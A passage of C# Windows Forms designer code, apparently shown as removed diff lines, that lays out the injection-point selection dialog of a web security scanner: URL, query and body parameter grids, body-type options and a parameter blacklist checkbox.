= "0"; - // - // AllBodyPointsSelectedLbl - // - this.AllBodyPointsSelectedLbl.AutoSize = true; - this.AllBodyPointsSelectedLbl.Location = new System.Drawing.Point(780, 168); - this.AllBodyPointsSelectedLbl.Name = "AllBodyPointsSelectedLbl"; - this.AllBodyPointsSelectedLbl.Size = new System.Drawing.Size(13, 13); - this.AllBodyPointsSelectedLbl.TabIndex = 33; - this.AllBodyPointsSelectedLbl.Text = "0"; - // - // AllBodyPointsAvlLbl - // - this.AllBodyPointsAvlLbl.AutoSize = true; - this.AllBodyPointsAvlLbl.Location = new System.Drawing.Point(632, 168); - this.AllBodyPointsAvlLbl.Name = "AllBodyPointsAvlLbl"; - this.AllBodyPointsAvlLbl.Size = new System.Drawing.Size(13, 13); - this.AllBodyPointsAvlLbl.TabIndex = 32; - this.AllBodyPointsAvlLbl.Text = "0"; - // - // AllUrlPointsSelectedLbl - // - this.AllUrlPointsSelectedLbl.AutoSize = true; - this.AllUrlPointsSelectedLbl.Location = new System.Drawing.Point(780, 79); - this.AllUrlPointsSelectedLbl.Name = "AllUrlPointsSelectedLbl"; - this.AllUrlPointsSelectedLbl.Size = new System.Drawing.Size(13, 13); - this.AllUrlPointsSelectedLbl.TabIndex = 29; - this.AllUrlPointsSelectedLbl.Text = "0"; - // - // AllUrlPointsAvlLbl - // - this.AllUrlPointsAvlLbl.AutoSize = true; - this.AllUrlPointsAvlLbl.Location = new System.Drawing.Point(632, 79); - this.AllUrlPointsAvlLbl.Name = "AllUrlPointsAvlLbl"; - this.AllUrlPointsAvlLbl.Size = new System.Drawing.Size(13, 13); - this.AllUrlPointsAvlLbl.TabIndex = 28; - this.AllUrlPointsAvlLbl.Text = "0"; - // - // BodyInjectionMessageLbl - // - this.BodyInjectionMessageLbl.AutoSize = true; - this.BodyInjectionMessageLbl.ForeColor = System.Drawing.Color.DodgerBlue; - this.BodyInjectionMessageLbl.Location = new System.Drawing.Point(37, 186); - this.BodyInjectionMessageLbl.Name = "BodyInjectionMessageLbl"; - this.BodyInjectionMessageLbl.Size = new System.Drawing.Size(417, 13); - this.BodyInjectionMessageLbl.TabIndex = 25; - this.BodyInjectionMessageLbl.Text = "Body type has been discovered as XML and injection points were identified accordi" + - "ngly"; - // - // panel1 - // - this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.panel1.BackColor = System.Drawing.Color.MistyRose; - this.panel1.Controls.Add(this.BlacklistItemsCountLbl); - this.panel1.Controls.Add(this.label19); - this.panel1.Controls.Add(this.UseBlackListCB); - this.panel1.Location = new System.Drawing.Point(3, 349); - this.panel1.Name = "panel1"; - this.panel1.Size = new System.Drawing.Size(857, 42); - this.panel1.TabIndex = 24; - // - // BlacklistItemsCountLbl - // - this.BlacklistItemsCountLbl.AutoSize = true; - this.BlacklistItemsCountLbl.Location = new System.Drawing.Point(819, 13); - this.BlacklistItemsCountLbl.Name = "BlacklistItemsCountLbl"; - this.BlacklistItemsCountLbl.Size = new System.Drawing.Size(13, 13); - this.BlacklistItemsCountLbl.TabIndex = 38; - this.BlacklistItemsCountLbl.Text = "0"; - // - // label19 - // - this.label19.AutoSize = true; - this.label19.Location = new System.Drawing.Point(677, 14); - this.label19.Name = "label19"; - this.label19.Size = new System.Drawing.Size(140, 13); - this.label19.TabIndex = 37; - this.label19.Text = "No. of items in the Blacklist: "; - // - // UseBlackListCB - // - this.UseBlackListCB.AutoSize = true; - this.UseBlackListCB.Location = new System.Drawing.Point(20, 12); - this.UseBlackListCB.Name = "UseBlackListCB"; - this.UseBlackListCB.Size = new System.Drawing.Size(379, 17); - this.UseBlackListCB.TabIndex = 12; - this.UseBlackListCB.Text = "Don\'t scan the parameters matching the names in the \'Parameters Blacklist\'"; - this.UseBlackListCB.UseVisualStyleBackColor = true; - this.UseBlackListCB.Click += new System.EventHandler(this.UseBlackListCB_Click); - // - // label5 - // - this.label5.AutoSize = true; - this.label5.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label5.ForeColor = System.Drawing.Color.DodgerBlue; - this.label5.Location = new System.Drawing.Point(725, 6); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(133, 13); - this.label5.TabIndex = 23; - this.label5.Text = "No. of Points selected"; - // - // label3 - // - this.label3.AutoSize = true; - this.label3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.ForeColor = System.Drawing.Color.DodgerBlue; - this.label3.Location = new System.Drawing.Point(578, 6); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(136, 13); - this.label3.TabIndex = 22; - this.label3.Text = "No. of Points available"; - // - // label2 - // - this.label2.AutoSize = true; - this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.ForeColor = System.Drawing.Color.DodgerBlue; - this.label2.Location = new System.Drawing.Point(92, 6); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(135, 13); - this.label2.TabIndex = 21; - this.label2.Text = "Select Injection Points"; - // - // UrlPathPartInjectionMessageLbl - // - this.UrlPathPartInjectionMessageLbl.AutoSize = true; - this.UrlPathPartInjectionMessageLbl.ForeColor = System.Drawing.Color.DodgerBlue; - this.UrlPathPartInjectionMessageLbl.Location = new System.Drawing.Point(37, 97); - this.UrlPathPartInjectionMessageLbl.Name = "UrlPathPartInjectionMessageLbl"; - this.UrlPathPartInjectionMessageLbl.Size = new System.Drawing.Size(309, 13); - this.UrlPathPartInjectionMessageLbl.TabIndex = 20; - this.UrlPathPartInjectionMessageLbl.Text = "Url has Querystring so path parts would require explicit selection."; - // - // ScanURLCB - // - this.ScanURLCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ScanURLCB.AutoSize = true; - this.ScanURLCB.Location = new System.Drawing.Point(22, 78); - this.ScanURLCB.Name = "ScanURLCB"; - this.ScanURLCB.Size = new System.Drawing.Size(288, 17); - this.ScanURLCB.TabIndex = 14; - this.ScanURLCB.Text = "All URL path parts. Useful when site uses URL rewriting"; - this.ScanURLCB.UseVisualStyleBackColor = true; - this.ScanURLCB.Click += new System.EventHandler(this.ScanURLCB_Click); - // - // ScanBodyCB - // - this.ScanBodyCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ScanBodyCB.AutoSize = true; - this.ScanBodyCB.Location = new System.Drawing.Point(22, 167); - this.ScanBodyCB.Name = "ScanBodyCB"; - this.ScanBodyCB.Size = new System.Drawing.Size(120, 17); - this.ScanBodyCB.TabIndex = 16; - this.ScanBodyCB.Text = "All Body Parameters"; - this.ScanBodyCB.UseVisualStyleBackColor = true; - this.ScanBodyCB.Click += new System.EventHandler(this.ScanBodyCB_Click); - // - // URLTab - // - this.URLTab.Controls.Add(this.ScanURLGrid); - this.URLTab.Location = new System.Drawing.Point(4, 22); - this.URLTab.Margin = new System.Windows.Forms.Padding(0); - this.URLTab.Name = "URLTab"; - this.URLTab.Size = new System.Drawing.Size(863, 394); - this.URLTab.TabIndex = 0; - this.URLTab.Text = "URL Path Parts"; - this.URLTab.UseVisualStyleBackColor = true; - // - // ScanURLGrid - // - this.ScanURLGrid.AllowUserToAddRows = false; - this.ScanURLGrid.AllowUserToDeleteRows = false; - this.ScanURLGrid.AllowUserToResizeRows = false; - this.ScanURLGrid.BackgroundColor = System.Drawing.Color.White; - this.ScanURLGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanURLGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ScanURLGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ASRequestURLSelectColumn, - this.ASRequestURLPositionColumn, - this.ASRequestURLValueColumn}); - this.ScanURLGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanURLGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ScanURLGrid.GridColor = System.Drawing.Color.White; - this.ScanURLGrid.Location = new System.Drawing.Point(0, 0); - this.ScanURLGrid.Margin = new System.Windows.Forms.Padding(0); - this.ScanURLGrid.MultiSelect = false; - this.ScanURLGrid.Name = "ScanURLGrid"; - this.ScanURLGrid.RowHeadersVisible = false; - this.ScanURLGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ScanURLGrid.Size = new System.Drawing.Size(863, 394); - this.ScanURLGrid.TabIndex = 0; - this.ScanURLGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanURLGrid_CellClick); - // - // ASRequestURLSelectColumn - // - this.ASRequestURLSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ASRequestURLSelectColumn.HeaderText = "INJECT"; - this.ASRequestURLSelectColumn.Name = "ASRequestURLSelectColumn"; - this.ASRequestURLSelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.ASRequestURLSelectColumn.Width = 55; - // - // ASRequestURLPositionColumn - // - this.ASRequestURLPositionColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestURLPositionColumn.HeaderText = "PARAMETER POSITION"; - this.ASRequestURLPositionColumn.Name = "ASRequestURLPositionColumn"; - this.ASRequestURLPositionColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ASRequestURLValueColumn - // - this.ASRequestURLValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestURLValueColumn.HeaderText = "PARAMETER VALUE"; - this.ASRequestURLValueColumn.Name = "ASRequestURLValueColumn"; - this.ASRequestURLValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // QueryTab - // - this.QueryTab.Controls.Add(this.ScanQueryGrid); - this.QueryTab.Location = new System.Drawing.Point(4, 22); - this.QueryTab.Margin = new System.Windows.Forms.Padding(0); - this.QueryTab.Name = "QueryTab"; - this.QueryTab.Size = new System.Drawing.Size(863, 394); - this.QueryTab.TabIndex = 1; - this.QueryTab.Text = "Query"; - this.QueryTab.UseVisualStyleBackColor = true; - // - // ScanQueryGrid - // - this.ScanQueryGrid.AllowUserToAddRows = false; - this.ScanQueryGrid.AllowUserToDeleteRows = false; - this.ScanQueryGrid.AllowUserToResizeRows = false; - this.ScanQueryGrid.BackgroundColor = System.Drawing.Color.White; - this.ScanQueryGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanQueryGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ScanQueryGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ASRequestQuerySelectColumn, - this.ASRequestQueryNameColumn, - this.ASRequestQueryValueColumn}); - this.ScanQueryGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanQueryGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ScanQueryGrid.GridColor = System.Drawing.Color.White; - this.ScanQueryGrid.Location = new System.Drawing.Point(0, 0); - this.ScanQueryGrid.Margin = new System.Windows.Forms.Padding(0); - this.ScanQueryGrid.Name = "ScanQueryGrid"; - this.ScanQueryGrid.RowHeadersVisible = false; - this.ScanQueryGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ScanQueryGrid.Size = new System.Drawing.Size(863, 394); - this.ScanQueryGrid.TabIndex = 1; - this.ScanQueryGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanQueryGrid_CellClick); - // - // ASRequestQuerySelectColumn - // - this.ASRequestQuerySelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ASRequestQuerySelectColumn.HeaderText = "INJECT"; - this.ASRequestQuerySelectColumn.Name = "ASRequestQuerySelectColumn"; - this.ASRequestQuerySelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.ASRequestQuerySelectColumn.Width = 55; - // - // ASRequestQueryNameColumn - // - this.ASRequestQueryNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestQueryNameColumn.HeaderText = "PARAMETER NAME"; - this.ASRequestQueryNameColumn.Name = "ASRequestQueryNameColumn"; - this.ASRequestQueryNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ASRequestQueryValueColumn - // - this.ASRequestQueryValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestQueryValueColumn.HeaderText = "PARAMETER VALUE"; - this.ASRequestQueryValueColumn.Name = "ASRequestQueryValueColumn"; - this.ASRequestQueryValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // BodyTab - // - this.BodyTab.Controls.Add(this.BodyTypeCustomRB); - this.BodyTab.Controls.Add(this.BodyTypeFormatPluginRB); - this.BodyTab.Controls.Add(this.BodyTypeNormalRB); - this.BodyTab.Controls.Add(this.label35); - this.BodyTab.Controls.Add(this.BodyInjectTypeTabs); - this.BodyTab.Location = new System.Drawing.Point(4, 22); - this.BodyTab.Margin = new System.Windows.Forms.Padding(0); - this.BodyTab.Name = "BodyTab"; - this.BodyTab.Size = new System.Drawing.Size(863, 394); - this.BodyTab.TabIndex = 2; - this.BodyTab.Text = "Body"; - this.BodyTab.UseVisualStyleBackColor = true; - // - // BodyTypeCustomRB - // - this.BodyTypeCustomRB.AutoSize = true; - this.BodyTypeCustomRB.Location = new System.Drawing.Point(400, 5); - this.BodyTypeCustomRB.Name = "BodyTypeCustomRB"; - this.BodyTypeCustomRB.Size = new System.Drawing.Size(146, 17); - this.BodyTypeCustomRB.TabIndex = 5; - this.BodyTypeCustomRB.Text = "Custom/Unknown Format"; - this.BodyTypeCustomRB.UseVisualStyleBackColor = true; - this.BodyTypeCustomRB.CheckedChanged += new System.EventHandler(this.BodyTypeCustomRB_CheckedChanged); - // - // BodyTypeFormatPluginRB - // - this.BodyTypeFormatPluginRB.AutoSize = true; - this.BodyTypeFormatPluginRB.Location = new System.Drawing.Point(168, 5); - this.BodyTypeFormatPluginRB.Name = "BodyTypeFormatPluginRB"; - this.BodyTypeFormatPluginRB.Size = new System.Drawing.Size(221, 17); - this.BodyTypeFormatPluginRB.TabIndex = 4; - this.BodyTypeFormatPluginRB.Text = "Other Know Format (Eg: XML, JSON etc)"; - this.BodyTypeFormatPluginRB.UseVisualStyleBackColor = true; - this.BodyTypeFormatPluginRB.CheckedChanged += new System.EventHandler(this.BodyTypeFormatPluginRB_CheckedChanged); - // - // BodyTypeNormalRB - // - this.BodyTypeNormalRB.AutoSize = true; - this.BodyTypeNormalRB.Checked = true; - this.BodyTypeNormalRB.Location = new System.Drawing.Point(101, 5); - this.BodyTypeNormalRB.Name = "BodyTypeNormalRB"; - this.BodyTypeNormalRB.Size = new System.Drawing.Size(58, 17); - this.BodyTypeNormalRB.TabIndex = 3; - this.BodyTypeNormalRB.TabStop = true; - this.BodyTypeNormalRB.Text = "Normal"; - this.BodyTypeNormalRB.UseVisualStyleBackColor = true; - this.BodyTypeNormalRB.CheckedChanged += new System.EventHandler(this.BodyTypeNormalRB_CheckedChanged); - // - // label35 - // - this.label35.AutoSize = true; - this.label35.Location = new System.Drawing.Point(5, 7); - this.label35.Name = "label35"; - this.label35.Size = new System.Drawing.Size(94, 13); - this.label35.TabIndex = 2; - this.label35.Text = "Select Body Type:"; - // - // BodyInjectTypeTabs - // - this.BodyInjectTypeTabs.Alignment = System.Windows.Forms.TabAlignment.Bottom; - this.BodyInjectTypeTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.BodyInjectTypeTabs.Controls.Add(this.BodyTypeNormalTab); - this.BodyInjectTypeTabs.Controls.Add(this.BodyTypeFormatPluginTab); - this.BodyInjectTypeTabs.Controls.Add(this.BodyTypeCustomTab); - this.BodyInjectTypeTabs.Location = new System.Drawing.Point(0, 24); - this.BodyInjectTypeTabs.Margin = new System.Windows.Forms.Padding(0); - this.BodyInjectTypeTabs.Multiline = true; - this.BodyInjectTypeTabs.Name = "BodyInjectTypeTabs"; - this.BodyInjectTypeTabs.Padding = new System.Drawing.Point(0, 0); - this.BodyInjectTypeTabs.SelectedIndex = 0; - this.BodyInjectTypeTabs.Size = new System.Drawing.Size(863, 370); - this.BodyInjectTypeTabs.TabIndex = 1; - this.BodyInjectTypeTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BodyInjectTypeTabs_Selecting); - // - // BodyTypeNormalTab - // - this.BodyTypeNormalTab.Controls.Add(this.ScanBodyTypeNormalGrid); - this.BodyTypeNormalTab.Location = new System.Drawing.Point(4, 4); - this.BodyTypeNormalTab.Margin = new System.Windows.Forms.Padding(0); - this.BodyTypeNormalTab.Name = "BodyTypeNormalTab"; - this.BodyTypeNormalTab.Size = new System.Drawing.Size(855, 344); - this.BodyTypeNormalTab.TabIndex = 0; - this.BodyTypeNormalTab.Text = "Normal"; - this.BodyTypeNormalTab.UseVisualStyleBackColor = true; - // - // ScanBodyTypeNormalGrid - // - this.ScanBodyTypeNormalGrid.AllowUserToAddRows = false; - this.ScanBodyTypeNormalGrid.AllowUserToDeleteRows = false; - this.ScanBodyTypeNormalGrid.AllowUserToResizeRows = false; - this.ScanBodyTypeNormalGrid.BackgroundColor = System.Drawing.Color.White; - this.ScanBodyTypeNormalGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScanBodyTypeNormalGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.ScanBodyTypeNormalGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewCheckBoxColumn1, - this.dataGridViewTextBoxColumn15, - this.dataGridViewTextBoxColumn16}); - this.ScanBodyTypeNormalGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanBodyTypeNormalGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.ScanBodyTypeNormalGrid.GridColor = System.Drawing.Color.White; - this.ScanBodyTypeNormalGrid.Location = new System.Drawing.Point(0, 0); - this.ScanBodyTypeNormalGrid.Margin = new System.Windows.Forms.Padding(0); - this.ScanBodyTypeNormalGrid.Name = "ScanBodyTypeNormalGrid"; - this.ScanBodyTypeNormalGrid.RowHeadersVisible = false; - this.ScanBodyTypeNormalGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.ScanBodyTypeNormalGrid.Size = new System.Drawing.Size(855, 344); - this.ScanBodyTypeNormalGrid.TabIndex = 2; - this.ScanBodyTypeNormalGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ScanBodyTypeNormalGrid_CellClick); - // - // dataGridViewCheckBoxColumn1 - // - this.dataGridViewCheckBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewCheckBoxColumn1.HeaderText = "INJECT"; - this.dataGridViewCheckBoxColumn1.Name = "dataGridViewCheckBoxColumn1"; - this.dataGridViewCheckBoxColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.dataGridViewCheckBoxColumn1.Width = 55; - // - // dataGridViewTextBoxColumn15 - // - this.dataGridViewTextBoxColumn15.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn15.HeaderText = "PARAMETER NAME"; - this.dataGridViewTextBoxColumn15.Name = "dataGridViewTextBoxColumn15"; - this.dataGridViewTextBoxColumn15.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // dataGridViewTextBoxColumn16 - // - this.dataGridViewTextBoxColumn16.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn16.HeaderText = "PARAMETER VALUE"; - this.dataGridViewTextBoxColumn16.Name = "dataGridViewTextBoxColumn16"; - this.dataGridViewTextBoxColumn16.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // BodyTypeFormatPluginTab - // - this.BodyTypeFormatPluginTab.Controls.Add(this.ASRequestBodyTabSplit); - this.BodyTypeFormatPluginTab.Location = new System.Drawing.Point(4, 4); - this.BodyTypeFormatPluginTab.Margin = new System.Windows.Forms.Padding(0); - this.BodyTypeFormatPluginTab.Name = "BodyTypeFormatPluginTab"; - this.BodyTypeFormatPluginTab.Size = new System.Drawing.Size(855, 344); - this.BodyTypeFormatPluginTab.TabIndex = 1; - this.BodyTypeFormatPluginTab.Text = "Known Formats"; - this.BodyTypeFormatPluginTab.UseVisualStyleBackColor = true; - // - // ASRequestBodyTabSplit - // - this.ASRequestBodyTabSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ASRequestBodyTabSplit.Location = new System.Drawing.Point(0, 0); - this.ASRequestBodyTabSplit.Margin = new System.Windows.Forms.Padding(0); - this.ASRequestBodyTabSplit.Name = "ASRequestBodyTabSplit"; - // - // ASRequestBodyTabSplit.Panel1 - // - this.ASRequestBodyTabSplit.Panel1.Controls.Add(this.FormatPluginsGrid); - // - // ASRequestBodyTabSplit.Panel2 - // - this.ASRequestBodyTabSplit.Panel2.Controls.Add(this.ScanBodyFormatPluginTypeTabs); - this.ASRequestBodyTabSplit.Size = new System.Drawing.Size(855, 344); - this.ASRequestBodyTabSplit.SplitterDistance = 157; - this.ASRequestBodyTabSplit.SplitterWidth = 2; - this.ASRequestBodyTabSplit.TabIndex = 0; - // - // FormatPluginsGrid - // - this.FormatPluginsGrid.AllowUserToAddRows = false; - this.FormatPluginsGrid.AllowUserToDeleteRows = false; - this.FormatPluginsGrid.AllowUserToResizeRows = false; - this.FormatPluginsGrid.BackgroundColor = System.Drawing.Color.White; - this.FormatPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.FormatPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.FormatPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ASRequestBodyDataFormatSelectColumn, - this.ASRequestBodyDataFormatColumn}); - this.FormatPluginsGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.FormatPluginsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.FormatPluginsGrid.GridColor = System.Drawing.Color.White; - this.FormatPluginsGrid.Location = new System.Drawing.Point(0, 0); - this.FormatPluginsGrid.Margin = new System.Windows.Forms.Padding(0); - this.FormatPluginsGrid.MultiSelect = false; - this.FormatPluginsGrid.Name = "FormatPluginsGrid"; - this.FormatPluginsGrid.RowHeadersVisible = false; - this.FormatPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.FormatPluginsGrid.Size = new System.Drawing.Size(157, 344); - this.FormatPluginsGrid.TabIndex = 0; - this.FormatPluginsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.FormatPluginsGrid_CellClick); - // - // ASRequestBodyDataFormatSelectColumn - // - this.ASRequestBodyDataFormatSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ASRequestBodyDataFormatSelectColumn.HeaderText = ""; - this.ASRequestBodyDataFormatSelectColumn.MinimumWidth = 20; - this.ASRequestBodyDataFormatSelectColumn.Name = "ASRequestBodyDataFormatSelectColumn"; - this.ASRequestBodyDataFormatSelectColumn.Width = 20; - // - // ASRequestBodyDataFormatColumn - // - this.ASRequestBodyDataFormatColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestBodyDataFormatColumn.HeaderText = "Select Format"; - this.ASRequestBodyDataFormatColumn.Name = "ASRequestBodyDataFormatColumn"; - this.ASRequestBodyDataFormatColumn.ReadOnly = true; - this.ASRequestBodyDataFormatColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ScanBodyFormatPluginTypeTabs - // - this.ScanBodyFormatPluginTypeTabs.Controls.Add(this.BodyTypeFormatPluginInjectionArrayGridTab); - this.ScanBodyFormatPluginTypeTabs.Controls.Add(this.BodyTypeFormatPluginXMLTab); - this.ScanBodyFormatPluginTypeTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScanBodyFormatPluginTypeTabs.Location = new System.Drawing.Point(0, 0); - this.ScanBodyFormatPluginTypeTabs.Margin = new System.Windows.Forms.Padding(0); - this.ScanBodyFormatPluginTypeTabs.Multiline = true; - this.ScanBodyFormatPluginTypeTabs.Name = "ScanBodyFormatPluginTypeTabs"; - this.ScanBodyFormatPluginTypeTabs.Padding = new System.Drawing.Point(0, 0); - this.ScanBodyFormatPluginTypeTabs.SelectedIndex = 0; - this.ScanBodyFormatPluginTypeTabs.Size = new System.Drawing.Size(696, 344); - this.ScanBodyFormatPluginTypeTabs.TabIndex = 0; - // - // BodyTypeFormatPluginInjectionArrayGridTab - // - this.BodyTypeFormatPluginInjectionArrayGridTab.Controls.Add(this.BodyTypeFormatPluginGrid); - this.BodyTypeFormatPluginInjectionArrayGridTab.Location = new System.Drawing.Point(4, 22); - this.BodyTypeFormatPluginInjectionArrayGridTab.Margin = new System.Windows.Forms.Padding(0); - this.BodyTypeFormatPluginInjectionArrayGridTab.Name = "BodyTypeFormatPluginInjectionArrayGridTab"; - this.BodyTypeFormatPluginInjectionArrayGridTab.Size = new System.Drawing.Size(688, 318); - this.BodyTypeFormatPluginInjectionArrayGridTab.TabIndex = 0; - this.BodyTypeFormatPluginInjectionArrayGridTab.Text = "Format Specific Injection Points"; - this.BodyTypeFormatPluginInjectionArrayGridTab.UseVisualStyleBackColor = true; - // - // BodyTypeFormatPluginGrid - // - this.BodyTypeFormatPluginGrid.AllowUserToAddRows = false; - this.BodyTypeFormatPluginGrid.AllowUserToDeleteRows = false; - this.BodyTypeFormatPluginGrid.AllowUserToResizeRows = false; - this.BodyTypeFormatPluginGrid.BackgroundColor = System.Drawing.Color.White; - this.BodyTypeFormatPluginGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.BodyTypeFormatPluginGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; - this.BodyTypeFormatPluginGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.ASRequestBodySelectColumn, - this.ASRequestBodyNameColumn, - this.ASRequestBodyValueColumn}); - this.BodyTypeFormatPluginGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.BodyTypeFormatPluginGrid.GridColor = System.Drawing.Color.White; - this.BodyTypeFormatPluginGrid.Location = new System.Drawing.Point(0, 0); - this.BodyTypeFormatPluginGrid.Margin = new System.Windows.Forms.Padding(0); - this.BodyTypeFormatPluginGrid.Name = "BodyTypeFormatPluginGrid"; - this.BodyTypeFormatPluginGrid.ReadOnly = true; - this.BodyTypeFormatPluginGrid.RowHeadersVisible = false; - this.BodyTypeFormatPluginGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.BodyTypeFormatPluginGrid.Size = new System.Drawing.Size(688, 318); - this.BodyTypeFormatPluginGrid.TabIndex = 2; - this.BodyTypeFormatPluginGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.BodyTypeFormatPluginGrid_CellClick); - // - // ASRequestBodySelectColumn - // - this.ASRequestBodySelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.ASRequestBodySelectColumn.HeaderText = "INJECT"; - this.ASRequestBodySelectColumn.Name = "ASRequestBodySelectColumn"; - this.ASRequestBodySelectColumn.ReadOnly = true; - this.ASRequestBodySelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; - this.ASRequestBodySelectColumn.Width = 55; - // - // ASRequestBodyNameColumn - // - this.ASRequestBodyNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestBodyNameColumn.HeaderText = "INJECTION POINT NAME"; - this.ASRequestBodyNameColumn.Name = "ASRequestBodyNameColumn"; - this.ASRequestBodyNameColumn.ReadOnly = true; - this.ASRequestBodyNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // ASRequestBodyValueColumn - // - this.ASRequestBodyValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.ASRequestBodyValueColumn.HeaderText = "VALUE TO INJECT"; - this.ASRequestBodyValueColumn.Name = "ASRequestBodyValueColumn"; - this.ASRequestBodyValueColumn.ReadOnly = true; - this.ASRequestBodyValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; - // - // BodyTypeFormatPluginXMLTab - // - this.BodyTypeFormatPluginXMLTab.Controls.Add(this.FormatXMLTB); - this.BodyTypeFormatPluginXMLTab.Location = new System.Drawing.Point(4, 22); - this.BodyTypeFormatPluginXMLTab.Margin = 